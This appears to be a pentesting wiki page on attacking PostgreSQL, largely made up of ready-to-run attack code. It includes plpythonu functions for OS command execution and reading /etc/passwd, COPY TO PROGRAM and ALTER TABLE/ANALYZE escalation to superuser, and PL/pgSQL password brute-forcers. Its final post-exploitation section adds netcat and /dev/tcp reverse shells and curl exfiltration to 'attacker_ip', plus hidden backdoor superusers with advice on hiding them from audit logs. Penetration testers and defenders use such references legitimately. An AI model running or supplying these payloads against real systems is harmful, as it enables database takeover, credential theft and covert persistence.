If you find that an interesting language is installed but untrusted by PostgreSQL (lanpltrusted is false) you can try to trust it with the following line so no restrictions will be applied by PostgreSQL:

UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
# To check your permissions over the table pg_language
SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_language';

If you don't see a language, you could try to load it with (you need to be superadmin):

CREATE EXTENSION plpythonu;
CREATE EXTENSION plpython3u;
CREATE EXTENSION plperlu;
CREATE EXTENSION pljavaU;
CREATE EXTENSION plrubyu;

Note that it's possible to compile the secure versions as "unsecure". Check this for example. So it's always worth trying if you can execute code even if you only find installed the trusted one.

plpythonu/plpython3u

RCE

CREATE OR REPLACE FUNCTION exec (cmd text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    return os.popen(cmd).read()
    #return os.execve(cmd, ["/usr/lib64/pgsql92/bin/psql"], {})
$$
LANGUAGE 'plpythonu';

SELECT cmd("ls"); #RCE with popen or execve

Get OS user

CREATE OR REPLACE FUNCTION get_user (pkg text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    return os.getlogin()
$$
LANGUAGE 'plpythonu';

SELECT get_user(""); #Get user, para is useless

List dir

CREATE OR REPLACE FUNCTION lsdir (dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import json
    from os import walk
    files = next(walk(dir), (None, None, []))
    return json.dumps({"root": files[0], "dirs": files[1], "files": files[2]})[:65535]
$$
LANGUAGE 'plpythonu';

SELECT lsdir("/"); #List dir

Find W folder

CREATE OR REPLACE FUNCTION findw (dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        writables = []
        def find_writable(path):
            if not os.path.isdir(path):
                return
            if os.access(path, os.W_OK):
                writables.append(path)
            if not os.listdir(path):
                return
            else:
                for item in os.listdir(path):
                    find_writable(os.path.join(path, item))
        find_writable(path)
        return writables

    return ", ".join(my_find(dir))
$$
LANGUAGE 'plpythonu';

SELECT findw("/"); #Find Writable folders from a folder (recursively)

Find File

CREATE OR REPLACE FUNCTION find_file (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        executables = []
        def find_executables(path):
            if not os.path.isdir(path):
                executables.append(path)

            if os.path.isdir(path):
                if not os.listdir(path):
                    return
                else:
                    for item in os.listdir(path):
                        find_executables(os.path.join(path, item))
        find_executables(path)
        return executables

    a = my_find("/")
    b = []

    for i in a:
        if exe_sea in os.path.basename(i):
            b.append(i)
    return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_file("psql"); #Find a file

Find Exec files

CREATE OR REPLACE FUNCTION findx (dir text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        executables = []
        def find_executables(path):
            if not os.path.isdir(path) and os.access(path, os.X_OK):
                executables.append(path)

            if os.path.isdir(path):
                if not os.listdir(path):
                    return
                else:
                    for item in os.listdir(path):
                        find_executables(os.path.join(path, item))
        find_executables(path)
        return executables

    a = my_find(dir)
    b = []

    for i in a:
        b.append(os.path.basename(i))
    return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT findx("/"); #Find an executables in folder (recursively)

Find exec by subs

CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    def my_find(path):
        executables = []
        def find_executables(path):
            if not os.path.isdir(path) and os.access(path, os.X_OK):
                executables.append(path)

            if os.path.isdir(path):
                if not os.listdir(path):
                    return
                else:
                    for item in os.listdir(path):
                        find_executables(os.path.join(path, item))
        find_executables(path)
        return executables

    a = my_find("/")
    b = []

    for i in a:
        if exe_sea in i:
            b.append(i)
    return ", ".join(b)
$$
LANGUAGE 'plpythonu';

SELECT find_exe("psql"); #Find executable by susbstring

Read

CREATE OR REPLACE FUNCTION read (path text)
RETURNS VARCHAR(65535) stable
AS $$
    import base64
    encoded_string= base64.b64encode(open(path).read())
    return encoded_string.decode('utf-8')
    return open(path).read()
$$
LANGUAGE 'plpythonu';

select read('/etc/passwd'); #Read a file in b64

Get perms

CREATE OR REPLACE FUNCTION get_perms (path text)
RETURNS VARCHAR(65535) stable
AS $$
    import os
    status = os.stat(path)
    perms = oct(status.st_mode)[-3:]
    return str(perms)
$$
LANGUAGE 'plpythonu';

select get_perms("/etc/passwd"); # Get perms of file

Requests

CREATE OR REPLACE FUNCTION req2 (url text)
RETURNS VARCHAR(65535) stable
AS $$
    import urllib
    r = urllib.urlopen(url)
    return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req2('https://google.com'); #Request using python2

CREATE OR REPLACE FUNCTION req3 (url text)
RETURNS VARCHAR(65535) stable
AS $$
    from urllib import request
    r = request.urlopen(url)
    return r.read()
$$
LANGUAGE 'plpythonu';

SELECT req3('https://google.com'); #Request using python3

Privilege escalation

CREATEROLE Privesc

According to the docs: Roles having CREATEROLE privilege can grant or revoke membership in any role that is not a superuser.

So, if you have CREATEROLE permission you could grant yourself access to other roles (that aren't superuser) that can give you the option to read & write files and execute commands:

# Access to execute commands
GRANT pg_execute_server_program TO username;
# Access to read files
GRANT pg_read_server_files TO username;
# Access to write files
GRANT pg_write_server_files TO username;

Modify Password

Users with this role can also change the passwords of other non-superusers:

#Change password
ALTER USER user_name WITH PASSWORD 'new_password';

Privesc to SUPERUSER

It's pretty common to find that local users can login in PostgreSQL without providing any password. Therefore, once you have gathered permissions to execute code you can abuse these permissions to gran you SUPERUSER role:

COPY (select '') to PROGRAM 'psql -U <super_user> -c "ALTER USER <your_username> WITH SUPERUSER;"';

ALTER TABLE privesc

In this writeup is explained how it was possible to privesc in Postgres GCP abusing ALTER TABLE privilege that was granted to the user.

When you try to make another user owner of a table you should get an error preventing it, but apparently GCP gave that option to the not-superuser postgres user in GCP:

Joining this idea with the fact that when the INSERT/UPDATE/ANALYZE commands are executed on a table with an index function, the function is called as part of the command with the table owner’s permissions. It's possible to create an index with a function and give owner permissions to a super user over that table, and then run ANALYZE over the table with the malicious function that will be able to execute commands because it's using the privileges of the owner.

GetUserIdAndSecContext(&save_userid, &save_sec_context);
SetUserIdAndSecContext(onerel->rd_rel->relowner,
                       save_sec_context | SECURITY_RESTRICTED_OPERATION);

Exploitation

  1. Start by creating a new table.

  2. Insert some irrelevant content into the table to provide data for the index function.

  3. Develop a malicious index function that contains a code execution payload, allowing for unauthorized commands to be executed.

  4. ALTER the table's owner to "cloudsqladmin," which is GCP's superuser role exclusively used by Cloud SQL to manage and maintain the database.

  5. Perform an ANALYZE operation on the table. This action compels the PostgreSQL engine to switch to the user context of the table's owner, "cloudsqladmin." Consequently, the malicious index function is called with the permissions of "cloudsqladmin," thereby enabling the execution of the previously unauthorized shell command.

In PostgreSQL, this flow looks something like this:

CREATE TABLE temp_table (data text);
CREATE TABLE shell_commands_results (data text);

INSERT INTO temp_table VALUES ('dummy content');

/* PostgreSQL does not allow creating a VOLATILE index function, so first we create IMMUTABLE index function */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql IMMUTABLE AS 'select ''nothing'';';

CREATE INDEX index_malicious ON public.temp_table (suid_function(data));

ALTER TABLE temp_table OWNER TO cloudsqladmin;

/* Replace the function with VOLATILE index function to bypass the PostgreSQL restriction */
CREATE OR REPLACE FUNCTION public.suid_function(text) RETURNS text
  LANGUAGE sql VOLATILE AS 'COPY public.shell_commands_results (data) FROM PROGRAM ''/usr/bin/id''; select ''test'';';

ANALYZE public.temp_table;

Then, the shell_commands_results table will contain the output of the executed code:

uid=2345(postgres) gid=2345(postgres) groups=2345(postgres)

Local Login

Some misconfigured postgresql instances might allow login of any local user, it's possible to local from 127.0.0.1 using the dblink function:

\du * # Get Users
\l    # Get databases
SELECT * FROM dblink('host=127.0.0.1
    port=5432
    user=someuser
    password=supersecret
    dbname=somedb',
    'SELECT usename,passwd from pg_shadow')
RETURNS (result TEXT);

Note that for the previous query to work the function dblink needs to exist. If it doesn't you could try to create it with

CREATE EXTENSION dblink;

If you have the password of a user with more privileges, but the user is not allowed to login from an external IP you can use the following function to execute queries as that user:

SELECT * FROM dblink('host=127.0.0.1
                          user=someuser
                          dbname=somedb',
                         'SELECT usename,passwd from pg_shadow')
                      RETURNS (result TEXT);

It's possible to check if this function exists with:

SELECT * FROM pg_proc WHERE proname='dblink' AND pronargs=2;

Custom defined function with SECURITY DEFINER

In this writeup, pentesters were able to privesc inside a postgres instance provided by IBM, because they found this function with the SECURITY DEFINER flag:

CREATE OR REPLACE FUNCTION public.create_subscription(IN subscription_name text,IN host_ip text,IN portnum text,IN password text,IN username text,IN db_name text,IN publisher_name text) 
    RETURNS text 
    LANGUAGE 'plpgsql' 
    VOLATILE SECURITY DEFINER 
    PARALLEL UNSAFE 
    COST 100 
     
AS $BODY$ 
                DECLARE 
                     persist_dblink_extension boolean; 
                BEGIN 
                    persist_dblink_extension := create_dblink_extension(); 
                    PERFORM dblink_connect(format('dbname=%s', db_name)); 
                    PERFORM dblink_exec(format('CREATE SUBSCRIPTION %s CONNECTION ''host=%s port=%s password=%s user=%s dbname=%s sslmode=require'' PUBLICATION %s', 
                                               subscription_name, host_ip, portNum, password, username, db_name, publisher_name)); 
                    PERFORM dblink_disconnect(); 

As explained in the docs a function with SECURITY DEFINER is executed with the privileges of the user that owns it. Therefore, if the function is vulnerable to SQL Injection or is doing some privileged actions with params controlled by the attacker, it could be abused to escalate privileges inside postgres.

In the line 4 of the previous code you can see that the function has the SECURITY DEFINER flag.

CREATE SUBSCRIPTION test3 CONNECTION 'host=127.0.0.1 port=5432 password=a
user=ibm dbname=ibmclouddb sslmode=require' PUBLICATION test2_publication
WITH (create_slot = false); INSERT INTO public.test3(data) VALUES(current_user);

And then execute commands:

PL/pgSQL Password Bruteforce

PL/pgSQL is a fully featured programming language that extends beyond the capabilities of SQL by offering enhanced procedural control. This includes the utilization of loops and various control structures. Functions crafted in the PL/pgSQL language can be invoked by SQL statements and triggers, broadening the scope of operations within the database environment.

You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
     lanname | lanacl
    ---------+---------
     plpgsql |

By default, creating functions is a privilege granted to PUBLIC, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain:

REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;

In that case, our previous query would output different results:

SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
     lanname | lanacl
    ---------+-----------------
     plpgsql | {admin=U/admin}

Note that for the following script to work the function dblink needs to exist. If it doesn't you could try to create it with

CREATE EXTENSION dblink;

Password Brute Force

Here how you could perform a 4 chars password bruteforce:

//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
    word TEXT;
BEGIN
    FOR a IN 65..122 LOOP
        FOR b IN 65..122 LOOP
            FOR c IN 65..122 LOOP
                FOR d IN 65..122 LOOP
                    BEGIN
                        word := chr(a) || chr(b) || chr(c) || chr(d);
                        PERFORM(SELECT * FROM dblink(' host=' || host ||
                                                    ' port=' || port ||
                                                    ' dbname=' || dbname ||
                                                    ' user=' || username ||
                                                    ' password=' || word,
                                                    'SELECT 1')
                                                    RETURNS (i INT));
                                                    RETURN word;
                        EXCEPTION
                            WHEN sqlclient_unable_to_establish_sqlconnection
                                THEN
                                    -- do nothing
                    END;
                END LOOP;
            END LOOP;
        END LOOP;
    END LOOP;
    RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';

//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Note that even brute-forcing 4 characters may take several minutes.

You could also download a wordlist and try only those passwords (dictionary attack):

//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
                                username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
    FOR word IN (SELECT word FROM dblink('host=1.2.3.4
                                            user=name
                                            password=qwerty
                                            dbname=wordlists',
                                            'SELECT word FROM wordlist')
                                        RETURNS (word TEXT)) LOOP
        BEGIN
            PERFORM(SELECT * FROM dblink(' host=' || host ||
                                            ' port=' || port ||
                                            ' dbname=' || dbname ||
                                            ' user=' || username ||
                                            ' password=' || word,
                                            'SELECT 1')
                                        RETURNS (i INT));
            RETURN word;

            EXCEPTION
                WHEN sqlclient_unable_to_establish_sqlconnection THEN
                    -- do nothing
        END;
    END LOOP;
    RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'

-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');

Find more information about these attack in the original paper.

Privesc by Overwriting Internal PostgreSQL Tables

The following privesc vector is especially useful in constrained SQLi contexts, as all steps can be performed through nested SELECT statements

If you can read and write PostgreSQL server files, you can become a superuser by overwriting the PostgreSQL on-disk filenode, associated with the internal pg_authid table.

Read more about this technique here.

The attack steps are:

  1. Obtain the PostgreSQL data directory

  2. Obtain a relative path to the filenode, associated with the pg_authid table

  3. Download the filenode through the lo_* functions

  4. Get the datatype, associated with the pg_authid table

  5. Use the PostgreSQL Filenode Editor to edit the filenode; set all rol* boolean flags to 1 for full permissions.

  6. Re-upload the edited filenode via the lo_* functions, and overwrite the original file on the disk

  7. (Optionally) Clear the in-memory table cache by running an expensive SQL query

  8. You should now have the privileges of a full superadmin.


POST Exploitation

Using MSF modules

msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> use auxiliary/scanner/postgres/postgres_schemadump
msf> use auxiliary/admin/postgres/postgres_readfile
msf> use exploit/linux/postgres/postgres_payload
msf> use exploit/windows/postgres/postgres_payload

logging

Inside the postgresql.conf file you can enable postgresql logs changing:

log_statement = 'all'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
logging_collector = on
sudo service postgresql restart
#Find the logs in /var/lib/postgresql/<PG_Version>/main/log/
#or in /var/lib/postgresql/<PG_Version>/main/pg_log/

Then, restart the service.

pgadmin

pgadmin is an administration and development platform for PostgreSQL. You can find passwords inside the pgadmin4.db file You can decrypt them using the decrypt function inside the script: https://github.com/postgres/pgadmin4/blob/master/web/pgadmin/utils/crypto.py

sqlite3 pgadmin4.db ".schema"
sqlite3 pgadmin4.db "select * from user;"
sqlite3 pgadmin4.db "select * from server;"
string pgadmin4.db

pg_hba

Client authentication in PostgreSQL is managed through a configuration file called pg_hba.conf. This file contains a series of records, each specifying a connection type, client IP address range (if applicable), database name, user name, and the authentication method to use for matching connections. The first record that matches the connection type, client address, requested database, and user name is used for authentication. There is no fallback or backup if authentication fails. If no record matches, access is denied.

The available password-based authentication methods in pg_hba.conf are md5, crypt, and password. These methods differ in how the password is transmitted: MD5-hashed, crypt-encrypted, or clear-text. It's important to note that the crypt method cannot be used with passwords that have been encrypted in pg_authid.

Privilege Escalation via Roles

  • Abuse CREATEROLE:

    GRANT pg_read_server_files TO attacker;
    GRANT pg_write_server_files TO attacker;
    GRANT pg_execute_server_program TO attacker;
  • Create a new privileged role:

    CREATE ROLE backdoor LOGIN PASSWORD 'SuperSecret123' SUPERUSER;

File System Looting

  • Read sensitive files (if pg_read_server_files is available):

    SELECT pg_read_file('/etc/passwd', 0, 10000);
    SELECT pg_read_file('/etc/postgresql/12/main/pg_hba.conf', 0, 10000);
  • Dump SSH keys, configs, or application secrets from /home or /etc.


RCE Persistence

  • Use COPY FROM PROGRAM for command execution:

    COPY cmd_exec FROM PROGRAM 'bash -c "nc -e /bin/bash attacker_ip 4444"';
  • Or backdoor via malicious PostgreSQL extensions (.so files loaded with CREATE EXTENSION).


Pivoting / Internal Recon

  • Use dblink for internal port scanning:

    SELECT * FROM dblink_connect('host=10.0.0.10 port=22 user=postgres password=secret dbname=template1');
  • Enumerate other databases / internal services reachable from the DB host.


Data Exfiltration

  • Dump tables of interest:

    COPY (SELECT * FROM users) TO '/tmp/users.csv' DELIMITER ',' CSV;
  • Encode and exfiltrate via HTTP (if outbound allowed):

    COPY (SELECT pg_read_file('/etc/passwd')) TO PROGRAM 'curl -d @- http://attacker_ip/upload';

Filenode Abuse

  • Modify system tables by editing filenodes:

    • Extract pg_authid filenode.

    • Set your role to rolsuper = true.

    • Re-import → instant superuser escalation.


Config File Backdooring

  • Overwrite postgresql.conf with malicious settings:

    ssl_passphrase_command = 'bash -c "bash -i >& /dev/tcp/attacker_ip/9001 0>&1"'
    ssl_passphrase_command_supports_reload = on;
  • Reload:

    SELECT pg_reload_conf();

Cloud-Specific Post-Exploitation

  • AWS RDS: Look for rdsadmin DB → often exposes internal AWS metadata APIs.

  • GCP CloudSQL: Abuse ANALYZE + ALTER TABLE to execute as cloudsqladmin.

  • Azure Database for PostgreSQL: Look for misconfigured SECURITY DEFINER functions.


Credential Harvesting from Applications

  • Search for hardcoded DB creds in:

    • /var/www/html/config.php

    • /etc/postgresql/*/main/pg_hba.conf

    • /etc/environment or .env files

If pgAdmin is installed (like you noted):

sqlite3 pgadmin4.db "SELECT * FROM user;"
sqlite3 pgadmin4.db "SELECT * FROM server;"

Decrypt stored passwords using the crypto.py script.


Establishing Persistence

  • Create a hidden superuser:

    CREATE ROLE stealth LOGIN PASSWORD 'UndetectablePass123' SUPERUSER;
  • Hide it by modifying audit/logging configs to exclude the new user.

  • Alternatively, implant a malicious trigger that re-creates the backdoor user if deleted.

Last updated

Was this helpful?